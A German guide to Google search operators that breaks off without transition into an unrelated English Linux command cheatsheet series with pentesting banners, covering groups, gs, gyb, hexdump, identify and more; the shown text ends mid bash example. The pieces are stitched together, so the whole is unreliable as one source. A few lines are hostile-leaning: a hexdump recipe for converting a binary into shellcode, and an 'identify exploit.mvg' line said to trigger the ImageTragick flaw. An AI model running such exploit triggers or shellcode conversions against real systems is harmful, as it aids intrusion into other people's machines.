Mit diesem Operator lassen sich Ergebnisse auf bestimmte Formate begrenzen. Die Syntax lautet filetype:suffix. Beispiel: “ballack leverkusen kroos deutschland  filetype:pdf” findet PDF-Dateien, in denen die Suchbegriffe vorkommen. Mit dem Operator | können auch mehrere Formate zugelassen werden: “messi unglaublich ronaldo filetype:pdf | filetype:doc” findet Dateien in den Formaten PDF und DOC, in denen die Suchwörter vorkommen.
Suchoperator „inanchor“

Dieser Operator liefert Seiten, die mit einem Text verlinkt sind, in dem das gesuchte Wort vorkommt. Beispiel: “schwimmbad inanchor:sauber” findet Seiten, die das Wort “schwimmbad” enthalten und auf denen die Links, die auf diese Seiten verweisen, das Wort “sauber” beinhalten.
Suchoperator „info“

Mit info:URL lassen sich Informationen zu der angegebenen Seite anzeigen. Beispiel: info:michael-ballack.com zeigt Infos über diese Webseite.
Suchoperator „intext“

Eine Suchabfrage nach intext:Laufen findet Dokumente, in deren Text “Laufen” vorkommt. intext: vor jedes Wort zu setzen hat den gleichen Effekt, wie allintext:.
Suchoperator „intitle“

Eine Suchabfrage nach intitle:Laufen findet Dokumente, in deren Titel Laufen vorkommt. Zum Beispiel findet “michael ballack intitle:impressum” nur Dokumente, in denen “michael ballack” irgendwo und “impressum” im Titel vorkommt. Vor jedes Suchwort intitle: zu schreiben hat den gleichen Effekt wie allintitle:.
Suchoperator „inurl“

inurl:Trinken findet Dokumente, in deren URL Trinken vorkommt.

Zum Beispiel findet “inurl:erfolge site:dieter-bohlen.net” nur Dokumente, die in der Rubrik “Erfolge” abgelegt sind und deren Adresse deshalb so aufgebaut ist: http://dieter-bohlen.net/erfolge/. Vor jedes Suchwort inurl: zu schreiben hat den gleichen Effekt wie allinurl:.
Suchoperator „location“

location: zeigt bei Google News (http://news.google.de/) nur Nachrichten vom angegeben Ort an. Beispiel: “fussball location:germany“.
Suchoperator „movie“

movie: zeigt das Kinoprogramm in der angegebenen Stadt an, bzw. wann und in welchem Kino in der angegebenen Stadt der angegebene Film läuft. Beispiel: “movie:”Captain America” berlin“.
Suchoperator „phonebook“

phonebook: zeigt Informationen aus öffentlichen Telefonbüchern an. Leider funktioniert dieser Operator zurzeit nur mit US-Telefonbüchern. Beispiel: “phonebook:martin howard New York NY“.

Mit related:URL kann man sich Seiten anzeigen lassen, die ähnlich zu der sind, die man angegeben hat. Beispiel: “related:www.lionelmessi.com“.

Diese Funktion ist auch über den “Ähnliche Seiten”-Link in den Suchergebnissen verfügbar.
Suchoperator „site“

site: zeigt alle bei Google indexierten Seiten einer Domain an. Zudem ist es mit site: möglich, Ergebnisse auf Dokumente der Domain oder der Site zu beschränken, die man angegeben hat.

Beispiel: “goal site:www.lionelmessi.com“.
Suchoperator „source“

Durch den Operator source: können Ergebnisse bei Google News eingeschränkt werden. Beispiel: “Tor source:sport1” zeigt nur Nachrichten des Sport1 Newstickers, in denen das Wort “Tor” vorkommt.
Suchoperator „weather“

Der Suchbegriff weather:Ort zeigt Wetterinformationen an, wenn der Ort von Google erkannt wird.

Beispiel: “weather:barcelona“.

Bei der Anwendung der erweiterten Suchoperatoren sollte darauf geachtet werden, dass die Keywords, ohne Leerzeichen, immer direkt hinter dem Doppelpunkt des jeweiligen Operators stehen. Zudem ist es ab und an notwendig, den Operator innerhalb der Search-Query, so weit wie möglich nach rechts zu stellen, da einige sonst nicht funktionieren.

·+ mit dem Plus Zeichen können mehrere Begriffe miteinander verbunden werden um gezielter zu suchen (entspricht der Standardsuche bei Google), z.B. “Blog+Kommentare”

·– mit dem Minus werden Suchbegriffe ausgeschlossen, z.B. “Blog-Kommentar” gibt nur Ergebnisse mit Blog, aber ohne Kommentar aus.

·| mit dem Pipe Symbol können Begriffe separiert werden (entweder das eine oder das andere), z.B. “Reis + Soße | Nudeln”

·“ “ Die exakte Phrase wird gesucht, z.B. “ Angela Merkel“ -> Angela Dorothea Merkel würde nicht angezeigt, da das Dorothea stört.

·~ mit dem Unendlich Symbol kann nach ähnlichen Begriffen oder Synonymen gesucht werden, z.B. “~einkaufen”

·* der Stern wird auch Wildcar Suche genannt, damit kann man Begriffe ersetzen die nicht bekannt sind, z.B. “Nudeln mit *”

·.. mit zwei Punkten kann eine ”von – bis” Suche gestartet werden, z.B. “Fussballschuh € 100..200″
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

49 - 🖥️groups

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the groups command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ██████╗  ██████╗ ██╗   ██╗██████╗ ███████╗
#                ██╔════╝ ██╔══██╗██╔═══██╗██║   ██║██╔══██╗██╔════╝
#                ██║  ███╗██████╔╝██║   ██║██║   ██║██████╔╝███████╗
#                ██║   ██║██╔══██╗██║   ██║██║   ██║██╔═══╝ ╚════██║
#                ╚██████╔╝██║  ██║╚██████╔╝╚██████╔╝██║     ███████║
#                 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝     ╚══════╝
                 

                                                                   
Groups

The groups command displays the name of groups a user is part of.

groups himanshu
himanshu : himanshu adm cdrom sudo dip plugdev lpadmin sambasha

#==============================##==============================#
# CMD GROUPS						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

50 - 🖥️growisofs

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the growisofs command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██████╗  ██████╗ ██╗    ██╗██╗███████╗ ██████╗ ███████╗███████╗
#  ██╔════╝ ██╔══██╗██╔═══██╗██║    ██║██║██╔════╝██╔═══██╗██╔════╝██╔════╝
#  ██║  ███╗██████╔╝██║   ██║██║ █╗ ██║██║███████╗██║   ██║█████╗  ███████╗
#  ██║   ██║██╔══██╗██║   ██║██║███╗██║██║╚════██║██║   ██║██╔══╝  ╚════██║
#  ╚██████╔╝██║  ██║╚██████╔╝╚███╔███╔╝██║███████║╚██████╔╝██║     ███████║
#   ╚═════╝ ╚═╝  ╚═╝ ╚═════╝  ╚══╝╚══╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝     ╚══════╝

# Burn the contents of a directory to dvd without needing a gui application
growisofs -dvd-compat -Z /dev/scd0 -R -J -pad /path/to/dir

# Explanation: Useful if you have a directory full of data to burn to DVD without using a GUI. The growisofs tool is in the "dvd+rw-tools" package in Ubuntu, install it with: sudo apt-get install dvd+rw-tools
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

51 - 🖥️gs

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gs command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ███████╗
#                ██╔════╝ ██╔════╝
#                ██║  ███╗███████╗
#                ██║   ██║╚════██║
#                ╚██████╔╝███████║
#                 ╚═════╝ ╚══════╝
                                 
                                 
# To reduce the size of a pdf file:
gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf input.pdf

# Concatenate PDF files using GhostScript
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH file1.pdf file2.pdf file3.pdf

# Use ghostscript to shrink PDF files
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
# Explanation: Replace input.pdf and output.pdf with the original PDF name and the new compressed version's file name respectively. The key to this is the PDFSETTINGS option which can be tuned for various levels of compression. For scanned text documents, I find the ebook setting works well enough for most purposes but you can experiment with the options below.

    # -dPDFSETTINGS=/screen (screen-view-only quality, 72 dpi images)
    # -dPDFSETTINGS=/ebook (low quality, 150 dpi images)
    # -dPDFSETTINGS=/printer (high quality, 300 dpi images)
    # -dPDFSETTINGS=/prepress (high quality, color preserving, 300 dpi imgs) '-dPDFSETTINGS=/default (almost identical to /screen)'

# Reduce PDF Filesize
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dBATCH -dQUIET -dColorImageResolution=600 -dMonoImageResolution=600 -sOutputFile=output.pdf input.pdf

#==============================##==============================#
# CMD GS						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

52 - 🖥️gyb

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gyb command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗██╗   ██╗██████╗ 
#  ██╔════╝╚██╗ ██╔╝██╔══██╗
#  ██║  ███╗╚████╔╝ ██████╔╝
#  ██║   ██║ ╚██╔╝  ██╔══██╗
#  ╚██████╔╝  ██║   ██████╔╝
#   ╚═════╝   ╚═╝   ╚═════╝ 

# To estimate the number and the size of all mails on [email protected]
gyb --email [email protected] --action estimate

# To backup from [email protected] to your local-folder 
gyb --email [email protected] --action backup --local-folder "~/MyLocalFolder/"

# To backup from [email protected] only important or starred emails to the
# default local folder [email protected]
gyb --email [email protected] --search "is:important OR is:starred"

# To restore from your local-folder to [email protected]
gyb --email [email protected] --action restore --local-folder "~/MyLocalFolder/" 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

53 - 🖥️hardware-info

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hardware-info command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██╗  ██╗ █████╗ ██████╗ ██████╗ ██╗    ██╗ █████╗ ██████╗ ███████╗    ██╗███╗   ██╗███████╗ ██████╗ 
#   ██║  ██║██╔══██╗██╔══██╗██╔══██╗██║    ██║██╔══██╗██╔══██╗██╔════╝    ██║████╗  ██║██╔════╝██╔═══██╗
#   ███████║███████║██████╔╝██║  ██║██║ █╗ ██║███████║██████╔╝█████╗█████╗██║██╔██╗ ██║█████╗  ██║   ██║
#   ██╔══██║██╔══██║██╔══██╗██║  ██║██║███╗██║██╔══██║██╔══██╗██╔══╝╚════╝██║██║╚██╗██║██╔══╝  ██║   ██║
#   ██║  ██║██║  ██║██║  ██║██████╔╝╚███╔███╔╝██║  ██║██║  ██║███████╗    ██║██║ ╚████║██║     ╚██████╔╝
#   ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝    ╚═╝╚═╝  ╚═══╝╚═╝      ╚═════╝ 
                                                                                                                    
                                                                                                                    
                                                                                                                
# Display all hardware details
sudo lshw

# List currently loaded kernel modules
lsmod

# List all modules available to the system
find /lib/modules/$(uname -r) -type f -iname "*.ko"

# Load a module into kernel
modprobe modulename

# Remove a module from kernel 
modprobe -r modulename

# List devices connected via pci bus
lspci

# Debug output for pci devices (hex)
lspci -vvxxx

# Display cpu hardware stats
cat /proc/cpuinfo

# Display memory hardware stats
cat /proc/meminfo

# Output the kernel ring buffer
dmesg

# Ouput kernel messages
dmesg --kernel

################################################################################################
# -------------------------------------------------------------------------------------------- #
# --          _                   _                              _        __                -- #
# --         | |__   __ _ _ __ __| |_      ____ _ _ __ ___      (_)_ __  / _| ___           -- #
# --         | '_ \ / _` | '__/ _` \ \ /\ / / _` | '__/ _ \_____| | '_ \| |_ / _ \          -- #
# --         | | | | (_| | | | (_| |\ V  V / (_| | | |  __/_____| | | | |  _| (_) |         -- #
# --         |_| |_|\__,_|_|  \__,_| \_/\_/ \__,_|_|  \___|     |_|_| |_|_|  \___/          -- #
# --                                                                                        -- #
# -------------------------------------------------------------------------------------------- #
################################################################################################

#==============================##==============================#
# CMD HARDWARE-INFO						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

54 - 🖥️hash

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hash command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗ █████╗ ███████╗██╗  ██╗
#  ██║  ██║██╔══██╗██╔════╝██║  ██║
#  ███████║███████║███████╗███████║
#  ██╔══██║██╔══██║╚════██║██╔══██║
#  ██║  ██║██║  ██║███████║██║  ██║
#  ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

# Forget all remembered path locations
hash -r
# Explanation: bash remembers the full path name of each command you enter, so it does not have to lookup in $PATH every single time you run the same thing. It also counts the number of times you used each command in the current session, you can see the list with hash.
# Anyway, this behavior can poses a small problem when you reinstall an application at a different path. For example you reinstall a program that used to be in /usr/local/bin and now it is in /opt/local/bin. The problem is that if you used that command in the current shell session, then bash will remember the original location, which of course does not work anymore. To fix that, you can either run hash cmd which will lookup the command again, or run hash -r to forget all remembered locations (less efficient, but maybe faster to type ;-) For more details, see help hash
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

55 - 🖥️hexdump

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hexdump command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗  ██╗███████╗██╗  ██╗██████╗ ██╗   ██╗███╗   ███╗██████╗ 
#                ██║  ██║██╔════╝╚██╗██╔╝██╔══██╗██║   ██║████╗ ████║██╔══██╗
#                ███████║█████╗   ╚███╔╝ ██║  ██║██║   ██║██╔████╔██║██████╔╝
#                ██╔══██║██╔══╝   ██╔██╗ ██║  ██║██║   ██║██║╚██╔╝██║██╔═══╝ 
#                ██║  ██║███████╗██╔╝ ██╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██║     
#                ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     

# side-by-side hexadecimal and ascii view of the first 128 bytes of a file
hexdump -C -n128 /etc/passwd

# Convert a binary file to C Array
hexdump -v -e '16/1 "0x%02X, "' -e '"\n"' file.bin > hexarray.h

# Convert a binary file to Shell code
hexdump -v -e '"\\""x" 1/1 "%02x" ""'

# Generate random MAC address
hexdump -n6 -e '/1 ":%02X"' /dev/random|sed s/^://g
                                 
# Use hexdump to find hidden characters (space, CR, NL, ...) that prevent uniq from collapsing all entries.
sort lines.txt |uniq |hexdump -c 

echo "​https://evilearl.io/f/2347e6cb-0ad7-4ce5-b7eb-ed344c42fe2e …" | hexdump -c 
# Unsure of that URL you copied and pasted and why it's causing problems, pipe it into hexdump to check it for non-ascii characters.

#==============================##==============================#
# CMD HEXDUMP						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

56 - 🖥️hwclock

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hwclock command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗██╗    ██╗ ██████╗██╗      ██████╗  ██████╗██╗  ██╗
#  ██║  ██║██║    ██║██╔════╝██║     ██╔═══██╗██╔════╝██║ ██╔╝
#  ███████║██║ █╗ ██║██║     ██║     ██║   ██║██║     █████╔╝ 
#  ██╔══██║██║███╗██║██║     ██║     ██║   ██║██║     ██╔═██╗ 
#  ██║  ██║╚███╔███╔╝╚██████╗███████╗╚██████╔╝╚██████╗██║  ██╗
#  ╚═╝  ╚═╝ ╚══╝╚══╝  ╚═════╝╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝

#to set the hardware clock time, use hwclock –set –date=”STRING” as follows
sudo hwclock --set --date="09/09/2015 12:33:00"

#You can also set your system time using time from the hardware clock as follows.
$ sudo hwclock --hctosys

# It is also possible to set hardware clock time using the system clock time as follows.
$ sudo hwclock --systohc
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

57 - 🖥️identify

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the identify command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗██████╗ ███████╗███╗   ██╗████████╗██╗███████╗██╗   ██╗
#                ██║██╔══██╗██╔════╝████╗  ██║╚══██╔══╝██║██╔════╝╚██╗ ██╔╝
#                ██║██║  ██║█████╗  ██╔██╗ ██║   ██║   ██║█████╗   ╚████╔╝ 
#                ██║██║  ██║██╔══╝  ██║╚██╗██║   ██║   ██║██╔══╝    ╚██╔╝  
#                ██║██████╔╝███████╗██║ ╚████║   ██║   ██║██║        ██║   
#                ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝╚═╝        ╚═╝   

# describes the format and characteristics of one or more image files

# show width and height of the image
identify -format '%w %h' ${img}                                                                          
 
 
# Show photo filenames where no flash was used. Req. Imagemagick 
identify -format "%f F:%[EXIF:Flash]\n" *.jpg | egrep " F:(0|16|24|32)$"

# I posted this tweet using the @ImageTragick vuln and then fixed this server. Yes, its quite serious. Check it.
identify exploit.mvg

# Move low-color-count pictures from raspberry pi plant camera to darks directory. Making timelapse video. Requires some testing first to find threshold. Uses ImageMagick
identify -format "%k:%f\n" 20180302_*.jpg | awk -F: '$1 < 50000{print $2}' | xargs -I{} mv -v {} darks/ 

#==============================##==============================#
# CMD IDENTIFY						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

58 - 🖥️if-then-else

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the if-then-else command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗███████╗    ███████╗██╗     ███████╗███████╗ ████████╗██╗  ██╗ █████╗ ███╗   ██╗| #
#  ██║██╔════╝    ██╔════╝██║     ██╔════╝██╔════╝ ╚══██╔══╝██║  ██║██╔══██╗████╗  ██║| #
#  ██║█████╗█████╗█████╗  ██║     ███████╗█████╗█████╗██║   ███████║███████║██╔██╗ ██║| #
#  ██║██╔══╝╚════╝██╔══╝  ██║     ╚════██║██╔══╝╚════╝██║   ██╔══██║██╔══██║██║╚██╗██║| #
#  ██║██║         ███████╗███████╗███████║███████╗    ██║   ██║  ██║██║  ██║██║ ╚████║| #
#  ╚═╝╚═╝         ╚══════╝╚══════╝╚══════╝╚══════╝    ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝| #

# Shell scripts use fairly standard syntax for if statements. The conditional statement is executed using either the test command or the [ command. In its most basic form an if statement is:
#!/bin/bash

if [ "$#" -gt 0 ]
then
    echo "There's Beans"
fi

if [ "$1" = "cool" ]
then
echo "Cool Beans"
fi

(Notice that the fi is simply if spelled backwards). To add an else, we just use standard syntax.
#!/bin/bash

if [ "$1" = "cool" ]
then
